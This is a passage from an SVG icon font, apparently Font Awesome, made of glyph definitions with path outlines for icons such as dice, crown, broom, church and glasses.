c-15 16.2998 -26.5 35.7998 -33.2002 57.3994c-1 3.2998 0.299805 6.7998 3.2998 8.5l25.7998 14.9004c-2.59961 14.0996 -2.59961 28.5 0 42.5996l-25.7998 14.9004c-2.90039 1.7002 -4.2998 5.2002 -3.2998 8.5c6.7002 21.5996 18.2002 41.2002 33.2002 57.3994
c2.2998 2.5 6.09961 3.10059 9 1.40039l25.7998 -14.9004c10.8994 9.30078 23.3994 16.5 36.8994 21.3008v29.7998c0 3.39941 2.40039 6.39941 5.7002 7.09961c21.2002 4.7998 43.9004 5 66.2002 0c3.2998 -0.700195 5.7002 -3.7002 5.7002 -7.09961v-29.7998
c13.5 -4.80078 26 -12 36.8994 -21.3008l25.8008 14.9004c3 1.7002 6.69922 1.09961 9 -1.40039c15 -16.1992 26.5 -35.7998 33.1992 -57.3994c1 -3.2998 -0.299805 -6.7998 -3.2998 -8.5l-25.7998 -14.9004c2.59961 -14.0996 2.59961 -28.5 0 -42.5996zM496 79.5
c26.7998 0 48.5 21.7998 48.5 48.5s-21.7998 48.5 -48.5 48.5s-48.5 -21.7998 -48.5 -48.5s21.7002 -48.5 48.5 -48.5zM96 224c-35.2998 0 -64 28.7002 -64 64s28.7002 64 64 64s64 -28.7002 64 -64s-28.7002 -64 -64 -64zM320 192c-61.9004 0 -112 50.0996 -112 112
s50 111.9 111.9 111.9c61.8994 0 112 -50.1006 112 -112c0 -17.2002 -4.2002 -33.4004 -11.2002 -48c-0.799805 -0.5 -1.60059 -0.900391 -2.40039 -1.40039l-7.89941 4.59961c-5.90039 3.5 -12.7002 5.30078 -19.6006 5.30078c-11 0 -21.5 -4.60059 -28.8994 -12.6006
c-15.8008 -17.0996 -28 -37.5 -36.3008 -59.2002c-1.89941 -0.0996094 -3.69922 -0.599609 -5.59961 -0.599609zM425.2 -2.5v-9.2002c0 -7.5 2.5 -14.2998 6.2002 -20.2998h-255.4c-26.5 0 -48 21.5 -48 48v28.7998c0 63.6006 51.5996 115.2 115.3 115.2h8.2998
c20.9004 -10 43.9004 -16 68.5 -16c3.30078 0 6.5 0.400391 9.80078 0.599609c2.7998 -3.09961 6 -5.89941 9.7998 -8.09961l7.89941 -4.59961c-0.0996094 -2.60059 -0.0996094 -5.2002 0 -7.80078c-0.899414 -0.599609 -36.5 -15.7998 -25.7998 -50.2998
c7.90039 -25.7002 21.9004 -49.7998 40.2002 -69.5996c7.5 -8 18 -12.6006 28.9004 -12.6006c12.1992 0 19.2998 5 27.5 9.80078c2.19922 -1.30078 4.5 -2.7002 6.7998 -3.90039zM173.1 173.4c-40.2998 -22.1006 -68.8994 -62 -75.1992 -109.4h-65.9004
c-17.7002 0 -32 14.2998 -32 32v32c0 35.2998 28.7002 64 64 64h64c17.5996 0 33.5 -7.09961 45.0996 -18.5996z" />
    <glyph glyph-name="balance-scale-left" unicode="&#xf515;" horiz-adv-x="640" 
d="M528 0c8.83984 0 16 -7.16016 16.0098 -16v-32c0 -8.83984 -7.16016 -16 -16 -16h-224c-8.83984 0 -16 7.16016 -16 16v342.75c-4.55957 2 -8.91992 4.34961 -12.9902 7.12012l-142.05 -47.6299c-8.37988 -2.81055 -17.4502 1.7002 -20.2598 10.0801l-10.1699 30.3398
c-2.80957 8.37988 1.7002 17.4502 10.0801 20.2598l128.39 43.0498c-0.419922 3.32031 -1.00977 6.60059 -1.00977 10.0303c0 44.1797 35.8203 80 80 80c29.6904 0 55.2998 -16.3604 69.1104 -40.3701l117.92 39.5303c8.37988 2.80957 17.4502 -1.7002 20.2598 -10.0801
l10.1699 -30.3398c2.80957 -8.37988 -1.7002 -17.4502 -10.0801 -20.2598l-132 -44.2607c-7.28027 -21.25 -22.96 -38.5293 -43.3799 -47.4697v-294.75h176zM639.98 144c0 -44.1797 -57.29 -80 -127.98 -80s-128 35.8203 -128 80h0.0195312
c0 15.6699 -2.0791 7.25 85.04 181.51c17.6807 35.3604 68.2207 35.29 85.8701 0c86.3906 -172.779 85.0508 -165.33 85.0508 -181.51zM440 160h144l-72 144zM170.93 197.51c86.3906 -172.779 85.0508 -165.33 85.0508 -181.51h0.0195312c0 -44.1797 -57.3096 -80 -128 -80
s-128 35.8203 -128 80h0.0195312c0 15.6699 -2.0791 7.25 85.04 181.51c17.6807 35.3604 68.2207 35.29 85.8701 0zM56 32h144l-72 144z" />
    <glyph glyph-name="balance-scale-right" unicode="&#xf516;" horiz-adv-x="640" 
d="M96 -16c0 8.83984 7.16016 16 16 16h175.99v294.76c-20.4199 8.93066 -36.1006 26.2207 -43.3799 47.4707l-132 44.2598c-8.37012 2.80957 -12.8906 11.8799 -10.0801 20.2598l10.1699 30.3398c2.80957 8.37012 11.8799 12.8906 20.2598 10.0801l117.93 -39.54
c13.8105 24.0098 39.4199 40.3701 69.1104 40.3701c44.1797 0 80 -35.8203 80 -80c0 -3.42969 -0.589844 -6.70996 -1.00977 -10.0303l128.399 -43.0498c8.37012 -2.80957 12.8906 -11.8799 10.0801 -20.2598l-10.1699 -30.3398
c-2.80957 -8.37012 -11.8799 -12.8906 -20.2598 -10.0801l-142.05 47.6299c-4.07031 -2.77051 -8.43066 -5.12012 -12.9902 -7.12012v-342.75c0 -8.83984 -7.16016 -16 -16 -16h-224c-8.83984 0 -16 7.16016 -16 16v32zM0 144c0 16.1797 -1.32031 8.73047 85.0596 181.51
c17.6504 35.29 68.1904 35.3604 85.8701 0c87.1299 -174.26 85.0508 -165.84 85.0508 -181.51h0.0195312c0 -44.1797 -57.3096 -80 -128 -80s-128 35.8203 -128 80zM56 160h144l-72 144zM384.02 16c0 16.1797 -1.33984 8.73047 85.04 181.51
c17.6504 35.29 68.1904 35.3604 85.8701 0c87.1299 -174.26 85.0508 -165.84 85.0508 -181.51h0.0195312c0 -44.1797 -57.3096 -80 -128 -80s-128 35.8203 -128 80h0.0195312zM440 32h144l-72 144z" />
    <glyph glyph-name="blender" unicode="&#xf517;" 
d="M416 64c35.3496 0 64 -28.6504 64 -64v-32c0 -17.6699 -14.3301 -32 -32 -32h-320c-17.6699 0 -32 14.3301 -32 32v32c0 35.3496 28.6504 64 64 64h256zM288 -32c17.6699 0 32 14.3301 32 32s-14.3301 32 -32 32s-32 -14.3301 -32 -32s14.3301 -32 32 -32zM328 384
c-4.41992 0 -8 -3.58008 -8 -8v-16c0 -4.41992 3.58008 -8 8 -8h157.82l-17.46 -64h-140.36c-4.41992 0 -8 -3.58008 -8 -8v-16c0 -4.41992 3.58008 -8 8 -8h131.64l-17.46 -64h-114.18c-4.41992 0 -8 -3.58008 -8 -8v-16c0 -4.41992 3.58008 -8 8 -8h105.46l-17.46 -64
h-256l-8.73047 96h-103.27c-26.5098 0 -48 21.4902 -48 48v160c0 26.5098 21.4902 48 48 48h464l-17.46 -64h-166.54zM64 256h81.46l-11.6396 128h-69.8203v-128z" />
    <glyph glyph-name="book-open" unicode="&#xf518;" horiz-adv-x="576" 
d="M542.22 415.95c18.4199 1.04004 33.7803 -12.9902 33.7705 -30.7002v-337.84c0 -16.2305 -13.1299 -29.7705 -30.0205 -30.6602c-49.4697 -2.59961 -149.52 -12.0996 -218.7 -46.9199c-10.6494 -5.36035 -23.2793 1.93945 -23.2793 13.4902v363.87
c0 5.2793 2.62988 10.3291 7.26953 13.1699c67.2402 41.1592 176.16 52.4795 230.96 55.5898zM264.73 360.36c4.64941 -2.85059 7.26953 -7.7002 7.26953 -12.9902v-364.12c0 -11.5195 -12.5898 -18.8096 -23.21 -13.46c-69.1797 34.8398 -169.28 44.3496 -218.771 46.9502
c-16.8896 0.879883 -30.0195 14.4199 -30.0195 30.6602v337.85c0 17.71 15.3604 31.7402 33.7803 30.7002c54.7998 -3.12012 163.72 -14.4307 230.95 -55.5898z" />
    <glyph glyph-name="broadcast-tower" unicode="&#xf519;" horiz-adv-x="640" 
d="M150.94 256c-7.01074 0 -13.46 4.5 -15.4004 11.2402c-4.90039 16.9697 -7.54004 34.6396 -7.54004 52.7598s2.63965 35.79 7.53027 52.7695c1.9502 6.74023 8.39941 11.2305 15.4102 11.2305h33.7295c11.0098 0 18.6201 -10.8301 14.8604 -21.1797
c-4.93066 -13.5801 -7.5498 -27.9805 -7.5498 -42.8203s2.61914 -29.2402 7.5498 -42.8203c3.75 -10.3496 -3.85059 -21.1797 -14.8604 -21.1797h-33.7295zM89.9199 424.66c-16.54 -31.1406 -49.6104 -115.97 0.169922 -209.29
c5.66016 -10.6299 -1.92969 -23.3701 -13.9502 -23.3701h-34.8398c-6.18945 0 -11.9902 3.50977 -14.6094 9.13965c-23.5703 50.5303 -26.6904 94.1104 -26.6904 118.86c0 42.3496 9.40039 82.46 25.8896 118.69c2.60059 5.71973 8.4707 9.30957 14.7402 9.30957h35.3301
c12.0098 0 19.5996 -12.7197 13.96 -23.3398zM614.06 438.71c16.5205 -36.2295 25.9404 -76.3496 25.9404 -118.71s-9.42969 -82.4805 -25.96 -118.71c-2.59961 -5.70996 -8.45996 -9.29004 -14.7305 -9.29004h-35.2295c-12.1104 0 -19.6299 12.8398 -13.9102 23.5195
c48.1396 89.8105 17.9902 174.94 -0.280273 209.23c-5.63965 10.5898 2.04004 23.25 14.0205 23.25h35.4199c6.26953 0 12.1299 -3.58008 14.7295 -9.29004zM489.06 384c7.01074 0 13.46 -4.49023 15.4004 -11.2402c4.90039 -16.9697 7.54004 -34.6396 7.54004 -52.7598
s-2.62988 -35.79 -7.53027 -52.7598c-1.9502 -6.75 -8.38965 -11.2402 -15.4102 -11.2402h-33.7295c-11.0098 0 -18.6201 10.8301 -14.8604 21.1797c4.93066 13.5801 7.5498 27.9805 7.5498 42.8203s-2.61914 29.2402 -7.5498 42.8203
c-3.75 10.3496 3.85059 21.1797 14.8604 21.1797h33.7295zM372.76 283.88l130.5 -313.41c3.39062 -8.14941 -0.459961 -17.5195 -8.60938 -20.9199l-29.5107 -12.3096c-8.14941 -3.40039 -17.5098 0.450195 -20.9092 8.60938l-49.2002 118.15h-150.07l-49.1904 -118.15
c-3.38965 -8.14941 -12.7598 -12.0098 -20.9092 -8.60938l-29.5107 12.3096c-8.14941 3.40039 -12.0098 12.7705 -8.60938 20.9199l130.5 313.41c-7.0498 10.29 -11.2002 22.71 -11.2002 36.1201c0 35.3496 28.6396 64 63.96 64c35.3301 0 63.96 -28.6504 63.96 -64
c0 -13.4102 -4.15039 -25.8301 -11.2002 -36.1201zM271.62 128h96.7598l-48.3799 116.19z" />
    <glyph glyph-name="broom" unicode="&#xf51a;" horiz-adv-x="640" 
d="M256.47 231.23l86.7305 -109.181s-16.6006 -102.359 -76.5703 -150.12c-59.9697 -47.7793 -266.63 -34.1201 -266.63 -34.1201s3.7998 23.1406 11 55.4307l94.6201 112.17c3.96973 4.7002 -0.870117 11.6201 -6.65039 9.5l-60.3994 -22.0898
c14.4395 41.6602 32.7197 80.04 54.5996 97.4697c59.9697 47.7598 163.3 40.9404 163.3 40.9404zM636.53 416.97c5.48926 -6.91016 4.33984 -16.96 -2.5498 -22.4395l-232.48 -177.8l34.0898 -42.9209c5.08008 -6.39941 1.66016 -15.9092 -6.33984 -17.5996
l-58.7998 -12.4502l-86.7305 109.181l25.3301 54.5498c3.4502 7.41992 13.5 8.62012 18.5898 2.20996l34.1406 -42.9697l232.479 177.8c6.89062 5.48926 16.9199 4.33984 22.4102 -2.56055z" />
    <glyph glyph-name="chalkboard" unicode="&#xf51b;" horiz-adv-x="640" 
d="M96 384v-352h-64v376c0 22.0596 17.9404 40 40 40h496c22.0596 0 40 -17.9404 40 -40v-376h-64v352h-448zM624 0c8.83984 0 16 -7.16016 16 -16v-32c0 -8.83984 -7.16016 -16 -16 -16h-608c-8.83984 0 -16 7.16016 -16 16v32c0 8.83984 7.16016 16 16 16h272v64h192v-64
h144z" />
    <glyph glyph-name="chalkboard-teacher" unicode="&#xf51c;" horiz-adv-x="640" 
d="M208 96c62.0596 0 112.33 -50.4805 112 -112.62c-0.139648 -26.2598 -21.7305 -47.3799 -48 -47.3799h-224c-26.2695 0 -47.8604 21.1201 -48 47.3799c-0.330078 62.1396 49.9404 112.62 112 112.62c2.38965 0 4.76953 -0.349609 7.0498 -1.08984
c12.9697 -4.20996 26.6006 -6.91016 40.9502 -6.91016s27.9805 2.7002 40.9404 6.91016c2.2793 0.740234 4.66992 1.08984 7.05957 1.08984zM160 128c-53.0195 0 -96 42.9805 -96 96s42.9805 96 96 96s96 -42.9805 96 -96s-42.9805 -96 -96 -96zM592 448
c26.4697 0 48 -22.25 48 -49.5898v-316.82c0 -27.3398 -21.5303 -49.5898 -48 -49.5898h-244.55c-6.57031 25.2695 -20.5898 47.3096 -39.6904 64h76.2402v64h128v-64h64v288h-352v-49.7998c-18.9004 11.0195 -40.5801 17.7998 -64 17.7998v46.4102
c0 27.3398 21.5303 49.5898 48 49.5898h384z" />
    <glyph glyph-name="church" unicode="&#xf51d;" horiz-adv-x="640" 
d="M464.46 201.32c9.63965 -5.78027 15.54 -16.2002 15.54 -27.4404v-237.88h-96v96c0 35.3496 -28.6504 64 -64 64s-64 -28.6504 -64 -64v-96h-96v237.88c0 10.0029 6.96191 22.2959 15.54 27.4404l112.46 67.4795v51.2002h-48c-8.83984 0 -16 7.16016 -16 16v32
c0 8.83984 7.16016 16 16 16h48v48c0 8.83984 7.16016 16 16 16h32c8.83984 0 16 -7.16016 16 -16v-48h48c8.83984 0 16 -7.16016 16 -16v-32c0 -8.83984 -7.16016 -16 -16 -16h-48v-51.2002zM0 52.04c0.00195312 11.6455 8.68945 24.8252 19.3896 29.4199l108.61 46.54
v-192h-112c-8.83984 0 -16 7.16016 -16 16v100.04zM620.61 81.46c11.7598 -5.0498 19.3896 -16.6201 19.3896 -29.4199v-100.04c0 -8.83984 -7.16016 -16 -16 -16h-112v192z" />
    <glyph glyph-name="coins" unicode="&#xf51e;" 
d="M0 42.7002c41.2998 -29.1006 116.8 -42.7002 192 -42.7002s150.7 13.5996 192 42.7002v-42.7002c0 -35.2998 -86 -64 -192 -64s-192 28.7002 -192 64v42.7002zM320 320c-106 0 -192 28.7002 -192 64s86 64 192 64s192 -28.7002 192 -64s-86 -64 -192 -64zM0 147.6
c41.2998 -34 116.9 -51.5996 192 -51.5996s150.7 17.5996 192 51.5996v-51.5996c0 -35.2998 -86 -64 -192 -64s-192 28.7002 -192 64v51.5996zM416 136.6v63.6006c38.7002 6.89941 72.7998 18.0996 96 34.5v-42.7002c0 -23.7002 -38.7002 -44.2998 -96 -55.4004zM192 288
c106 0 192 -35.7998 192 -80s-86 -80 -192 -80s-192 35.7998 -192 80s86 80 192 80zM411.3 231.7c-8.7998 23.7002 -30.5 42.8994 -60 57.2002c64.2002 3.19922 125.2 16.6992 160.7 41.7998v-42.7002c0 -24.2998 -40.7002 -45.5 -100.7 -56.2998z" />
    <glyph glyph-name="compact-disc" unicode="&#xf51f;" horiz-adv-x="496" 
d="M248 440c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248zM88 192c0 88.2002 71.7998 160 160 160v32c-105.9 0 -192 -86.0996 -192 -192h32zM248 96c53 0 96 43 96 96s-43 96 -96 96s-96 -43 -96 -96s43 -96 96 -96zM248 224
c17.7002 0 32 -14.2998 32 -32s-14.2998 -32 -32 -32s-32 14.2998 -32 32s14.2998 32 32 32z" />
    <glyph glyph-name="crow" unicode="&#xf520;" horiz-adv-x="640" 
d="M544 416c53.0195 0 96 -28.6504 96 -64l-96 -16v-80c0 -87.2598 -58.2598 -160.8 -137.97 -184.14l41.2393 -111.53c2.27051 -6.23047 -0.939453 -13.1104 -7.16992 -15.3799l-22.5498 -8.20996c-6.22949 -2.27051 -13.1094 0.939453 -15.3799 7.16992l-44.5098 120.38
c-1.90039 -0.0595703 -3.75 -0.290039 -5.66016 -0.290039h-39.0596l38.3291 -103.68c2.27051 -6.23047 -0.939453 -13.1104 -7.16992 -15.3799l-22.5498 -8.20996c-6.22949 -2.27051 -13.1094 0.939453 -15.3799 7.16992l-44.4102 120.1h-96.4902l-121.539 -60.7695
c-20.0908 -10.04 -43.7305 4.56934 -43.7305 27.0293c0.00195312 8.33984 5.41797 19.168 12.0898 24.1699l371.91 292.59v20.9805c0 44.1797 35.8203 80 80 80c26.0898 0 49.04 -12.6797 63.6396 -32h16.3604zM464 344c13.25 0 24 10.75 24 24c0 13.2598 -10.75 24 -24 24
s-24 -10.7402 -24 -24c0 -13.25 10.75 -24 24 -24z" />
    <glyph glyph-name="crown" unicode="&#xf521;" horiz-adv-x="640" 
d="M528 0c8.7998 0 16 -7.2002 16 -16v-32c0 -8.7998 -7.2002 -16 -16 -16h-416c-8.7998 0 -16 7.2002 -16 16v32c0 8.7998 7.2002 16 16 16h416zM592 320c26.5 0 48 -21.5 48 -48s-21.5 -48 -48 -48c-2.59961 0 -5.2002 0.400391 -7.7002 0.799805l-72.2998 -192.8h-384
l-72.2998 192.8c-2.5 -0.399414 -5.10059 -0.799805 -7.7002 -0.799805c-26.5 0 -48 21.5 -48 48s21.5996 48 48.0996 48s48 -21.5 48 -48c0 -7.09961 -1.69922 -13.7998 -4.39941 -19.7998l72.2998 -43.4004c15.2998 -9.2002 35.2998 -4 44.2002 11.6006l81.5 142.6
c-10.7002 8.7998 -17.7002 22 -17.7002 37c0 26.5 21.5 48 48 48s48 -21.5 48 -48c0 -15 -7 -28.2002 -17.7002 -37l81.5 -142.6c8.90039 -15.6006 28.7998 -20.8008 44.2002 -11.6006l72.4004 43.4004c-2.80078 6.09961 -4.40039 12.7002 -4.40039 19.7998
c0 26.5 21.5 48 48 48z" />
    <glyph glyph-name="dice" unicode="&#xf522;" horiz-adv-x="640" 
d="M592 256c26.5098 0 48 -21.4902 48 -48v-224c0 -26.5098 -21.4902 -48 -48 -48h-224c-26.5098 0 -48 21.4902 -48 48v46.4199l136.26 136.26c24.1201 24.1201 29.6904 59.7305 17 89.3203h118.74zM480 72c13.25 0 24 10.75 24 24c0 13.2598 -10.75 24 -24 24
s-24 -10.7402 -24 -24c0 -13.25 10.75 -24 24 -24zM433.63 258.7c19.1602 -19.1602 19.1602 -50.2305 0 -69.4004l-174.939 -174.93c-19.1602 -19.1602 -50.2305 -19.1602 -69.3906 0l-174.93 174.939c-19.1602 19.1602 -19.1602 50.2305 0 69.3906l174.939 174.93
c19.1602 19.1602 50.2305 19.1602 69.3906 0zM96 200c13.25 0 24 10.75 24 24c0 13.2598 -10.75 24 -24 24s-24 -10.7402 -24 -24c0 -13.25 10.75 -24 24 -24zM224 72c13.25 0 24 10.75 24 24c0 13.2598 -10.75 24 -24 24s-24 -10.7402 -24 -24c0 -13.25 10.75 -24 24 -24z
M224 200c13.25 0 24 10.75 24 24c0 13.2598 -10.75 24 -24 24s-24 -10.7402 -24 -24c0 -13.25 10.75 -24 24 -24zM224 328c13.25 0 24 10.75 24 24c0 13.2598 -10.75 24 -24 24s-24 -10.7402 -24 -24c0 -13.25 10.75 -24 24 -24zM352 200c13.25 0 24 10.75 24 24
c0 13.2598 -10.75 24 -24 24s-24 -10.7402 -24 -24c0 -13.25 10.75 -24 24 -24z" />
    <glyph glyph-name="dice-five" unicode="&#xf523;" horiz-adv-x="448" 
d="M384 416c35.3496 0 64 -28.6504 64 -64v-320c0 -35.3496 -28.6504 -64 -64 -64h-320c-35.3496 0 -64 28.6504 -64 64v320c0 35.3496 28.6504 64 64 64h320zM128 64c17.6699 0 32 14.3301 32 32s-14.3301 32 -32 32s-32 -14.3301 -32 -32s14.3301 -32 32 -32zM128 256
c17.6699 0 32 14.3301 32 32s-14.3301 32 -32 32s-32 -14.3301 -32 -32s14.3301 -32 32 -32zM224 160c17.6699 0 32 14.3301 32 32s-14.3301 32 -32 32s-32 -14.3301 -32 -32s14.3301 -32 32 -32zM320 64c17.6699 0 32 14.3301 32 32s-14.3301 32 -32 32
s-32 -14.3301 -32 -32s14.3301 -32 32 -32zM320 256c17.6699 0 32 14.3301 32 32s-14.3301 32 -32 32s-32 -14.3301 -32 -32s14.3301 -32 32 -32z" />
    <glyph glyph-name="dice-four" unicode="&#xf524;" horiz-adv-x="448" 
d="M384 416c35.3496 0 64 -28.6504 64 -64v-320c0 -35.3496 -28.6504 -64 -64 -64h-320c-35.3496 0 -64 28.6504 -64 64v320c0 35.3496 28.6504 64 64 64h320zM128 64c17.6699 0 32 14.3301 32 32s-14.3301 32 -32 32s-32 -14.3301 -32 -32s14.3301 -32 32 -32zM128 256
c17.6699 0 32 14.3301 32 32s-14.3301 32 -32 32s-32 -14.3301 -32 -32s14.3301 -32 32 -32zM320 64c17.6699 0 32 14.3301 32 32s-14.3301 32 -32 32s-32 -14.3301 -32 -32s14.3301 -32 32 -32zM320 256c17.6699 0 32 14.3301 32 32s-14.3301 32 -32 32
s-32 -14.3301 -32 -32s14.3301 -32 32 -32z" />
    <glyph glyph-name="dice-one" unicode="&#xf525;" horiz-adv-x="448" 
d="M384 416c35.3496 0 64 -28.6504 64 -64v-320c0 -35.3496 -28.6504 -64 -64 -64h-320c-35.3496 0 -64 28.6504 -64 64v320c0 35.3496 28.6504 64 64 64h320zM224 160c17.6699 0 32 14.3301 32 32s-14.3301 32 -32 32s-32 -14.3301 -32 -32s14.3301 -32 32 -32z" />
    <glyph glyph-name="dice-six" unicode="&#xf526;" horiz-adv-x="448" 
d="M384 416c35.3496 0 64 -28.6504 64 -64v-320c0 -35.3496 -28.6504 -64 -64 -64h-320c-35.3496 0 -64 28.6504 -64 64v320c0 35.3496 28.6504 64 64 64h320zM128 64c17.6699 0 32 14.3301 32 32s-14.3301 32 -32 32s-32 -14.3301 -32 -32s14.3301 -32 32 -32zM128 160
c17.6699 0 32 14.3301 32 32s-14.3301 32 -32 32s-32 -14.3301 -32 -32s14.3301 -32 32 -32zM128 256c17.6699 0 32 14.3301 32 32s-14.3301 32 -32 32s-32 -14.3301 -32 -32s14.3301 -32 32 -32zM320 64c17.6699 0 32 14.3301 32 32s-14.3301 32 -32 32
s-32 -14.3301 -32 -32s14.3301 -32 32 -32zM320 160c17.6699 0 32 14.3301 32 32s-14.3301 32 -32 32s-32 -14.3301 -32 -32s14.3301 -32 32 -32zM320 256c17.6699 0 32 14.3301 32 32s-14.3301 32 -32 32s-32 -14.3301 -32 -32s14.3301 -32 32 -32z" />
    <glyph glyph-name="dice-three" unicode="&#xf527;" horiz-adv-x="448" 
d="M384 416c35.3496 0 64 -28.6504 64 -64v-320c0 -35.3496 -28.6504 -64 -64 -64h-320c-35.3496 0 -64 28.6504 -64 64v320c0 35.3496 28.6504 64 64 64h320zM128 256c17.6699 0 32 14.3301 32 32s-14.3301 32 -32 32s-32 -14.3301 -32 -32s14.3301 -32 32 -32zM224 160
c17.6699 0 32 14.3301 32 32s-14.3301 32 -32 32s-32 -14.3301 -32 -32s14.3301 -32 32 -32zM320 64c17.6699 0 32 14.3301 32 32s-14.3301 32 -32 32s-32 -14.3301 -32 -32s14.3301 -32 32 -32z" />
    <glyph glyph-name="dice-two" unicode="&#xf528;" horiz-adv-x="448" 
d="M384 416c35.3496 0 64 -28.6504 64 -64v-320c0 -35.3496 -28.6504 -64 -64 -64h-320c-35.3496 0 -64 28.6504 -64 64v320c0 35.3496 28.6504 64 64 64h320zM128 256c17.6699 0 32 14.3301 32 32s-14.3301 32 -32 32s-32 -14.3301 -32 -32s14.3301 -32 32 -32zM320 64
c17.6699 0 32 14.3301 32 32s-14.3301 32 -32 32s-32 -14.3301 -32 -32s14.3301 -32 32 -32z" />
    <glyph glyph-name="divide" unicode="&#xf529;" horiz-adv-x="448" 
d="M224 96c35.3496 0 64 -28.6504 64 -64s-28.6504 -64 -64 -64s-64 28.6504 -64 64s28.6504 64 64 64zM224 288c-35.3496 0 -64 28.6504 -64 64s28.6504 64 64 64s64 -28.6504 64 -64s-28.6504 -64 -64 -64zM416 240c17.6699 0 32 -14.3301 32 -32v-32
c0 -17.6699 -14.3301 -32 -32 -32h-384c-17.6699 0 -32 14.3301 -32 32v32c0 17.6699 14.3301 32 32 32h384z" />
    <glyph glyph-name="door-closed" unicode="&#xf52a;" horiz-adv-x="640" 
d="M624 0c8.83984 0 16 -7.16016 16 -16v-32c0 -8.83984 -7.16016 -16 -16 -16h-608c-8.83984 0 -16 7.16016 -16 16v32c0 8.83984 7.16016 16 16 16h111.99v397.2c0 28.0195 21.5293 50.7998 48 50.7998h288.01c26.4697 0 48 -22.7803 48 -50.7998v-397.2h112zM415.99 160
c17.6797 0 32.0098 14.3301 32 32c0 17.6699 -14.3301 32 -32 32s-32 -14.3301 -32 -32s14.3301 -32 32 -32z" />
    <glyph glyph-name="door-open" unicode="&#xf52b;" horiz-adv-x="640" 
d="M624 0c8.83984 0 16 -7.16016 16 -16v-32c0 -8.83984 -7.16016 -16 -16 -16h-144v384h-96v64h112c26.4697 0 48 -22.1904 48 -49.4502v-334.55h80zM312.24 446.99c20.2002 5.24023 39.7598 -10.5898 39.7598 -32.1699v-478.82h-336c-8.83984 0 -16 7.16016 -16 16v32
c0 8.83984 7.16016 16 16 16h80v365.08c0 15.2197 9.99023 28.4795 24.2402 32.1699zM264 160c13.25 0 24 14.3301 24 32s-10.75 32 -24 32s-24 -14.3301 -24 -32s10.75 -32 24 -32z" />
    <glyph glyph-name="equals" unicode="&#xf52c;" horiz-adv-x="448" 
d="M416 144c17.6699 0 32 -14.3301 32 -32v-32c0 -17.6699 -14.3301 -32 -32 -32h-384c-17.6699 0 -32 14.3301 -32 32v32c0 17.6699 14.3301 32 32 32h384zM416 336c17.6699 0 32 -14.3301 32 -32v-32c0 -17.6699 -14.3301 -32 -32 -32h-384c-17.6699 0 -32 14.3301 -32 32
v32c0 17.6699 14.3301 32 32 32h384z" />
    <glyph glyph-name="feather" unicode="&#xf52d;" 
d="M467.14 403.16c50.5703 -50.5205 61.7002 -124.9 16.2607 -199.36l-131.54 -43.7998h97.7793c-9.92969 -10.6797 3.68066 3.07031 -46.3096 -46.8604l-147.57 -49.1396h98.1904c-74.9502 -73.1104 -194.53 -70.6504 -246.83 -54.9404l-66.1006 -66.0293
c-9.37988 -9.37012 -24.5996 -9.37012 -33.9795 0s-9.37988 24.5693 0 33.9395l259.52 259.25c6.25 6.25 6.25 16.3799 0 22.6299s-16.3896 6.25 -22.6494 0l-178.44 -178.25c-6.75 60.3408 3.18066 150.78 63.6406 211.17c24.7695 24.7402 7.13965 7.14062 85.75 85.6602
c90.6094 90.5107 189.729 88.21 252.279 25.7305z" />
    <glyph glyph-name="frog" unicode="&#xf52e;" horiz-adv-x="576" 
d="M446.53 350.57c0 0 58.4297 -19.0605 98.9893 -41.2803c18.7607 -10.2803 30.4805 -29.8301 30.4805 -51.2305v-0.00292969c0 -18.8037 -13.3105 -41.5283 -29.71 -50.7266l-154.44 -86.6504l98.5205 -104.68h53.6299c17.6699 0 32 -14.3301 32 -32
c0 -8.83984 -7.16016 -16 -16 -16h-90.3799l-118.53 125.94c5.07031 54.1494 -29.9297 85.0596 -40.7998 93.21c-36.8496 27.6191 -88.29 27.6592 -125.13 0l-34.7803 -26.0908c-7.07031 -5.2998 -8.49023 -15.3291 -3.18945 -22.4092
c5.31934 -7.10059 15.3496 -8.5 22.4092 -3.19043l32.7607 24.5898c20.6895 15.5303 48.3496 20.8105 72.2393 10.8799c44.0605 -18.3193 57.8506 -70.3701 33.71 -106.6l-35.7998 -48.3301h79.4902c17.6699 0 32 -14.3301 32 -32c0 -8.83984 -7.16016 -16 -16 -16h-304
c-34.9199 0 -63.8896 28.0996 -64 63.0195c-0.5 166.86 126.75 304.021 289.46 319.44c6.82031 37.25 39.3096 65.54 78.54 65.54c39.1904 0 71.6699 -28.2305 78.5303 -65.4297zM368 312c13.25 0 24 10.75 24 24c0 13.2598 -10.75 24 -24 24
c-13.2598 0 -24 -10.7402 -24 -24c0 -13.25 10.7402 -24 24 -24z" />
    <glyph glyph-name="gas-pump" unicode="&#xf52f;" 
d="M336 0c8.7998 0 16 -7.2002 16 -16v-32c0 -8.7998 -7.2002 -16 -16 -16h-320c-8.7998 0 -16 7.2002 -16 16v32c0 8.7998 7.2002 16 16 16h320zM493.2 340.7c12 -12 18.7998 -28.2998 18.7998 -45.2998v-223.4c0 -42.2002 -36.5 -76 -79.5 -71.7002
c-37.5 3.90039 -64.5 38.2002 -64.5 75.9004v27.7998c0 22.0996 -17.9004 40 -40 40h-8v-112h-288v352c0 35.2998 28.7002 64 64 64h160c35.2998 0 64 -28.7002 64 -64v-192h8c48.5996 0 88 -39.4004 88 -88v-32c0 -13.2002 10.7998 -24 24 -24s24 10.7998 24 24v160.8
c-27.0996 3.90039 -48 27.1006 -48 55.2002v62.0996l-37.7002 37.7002c-6.2002 6.2002 -6.2002 16.4004 0 22.6006l11.2998 11.2998c6.2002 6.2002 16.4004 6.2002 22.6006 0zM256 256v128h-160v-128h160z" />
    <glyph glyph-name="glasses" unicode="&#xf530;" horiz-adv-x="576" 
d="M574.1 167.63c1.26074 -5.07031 1.90039 -10.2695 1.90039 -15.5v-70.25c0 -62.8896 -51.5801 -113.88 -115.2 -113.88h-37.1201c-60.2793 0 -110.37 45.9404 -114.87 105.37l-2.92969 38.6299h-35.75l-2.92969 -38.6299
c-4.50977 -59.4297 -54.6006 -105.37 -114.88 -105.37h-37.1201c-63.6201 0 -115.2 50.9902 -115.2 113.89v70.25c0.000976562 4.33984 0.852539 11.2793 1.90039 15.4902l45.3398 181.73c5.91016 23.6895 21.5898 44.0293 43 55.7998
c21.4395 11.7402 46.9697 14.1094 70.1895 6.33008l15.25 -5.08008c8.39062 -2.79004 12.9199 -11.8604 10.1201 -20.2402l-5.05957 -15.1797c-2.79004 -8.37988 -11.8506 -12.9102 -20.2305 -10.1201l-13.1699 4.38965
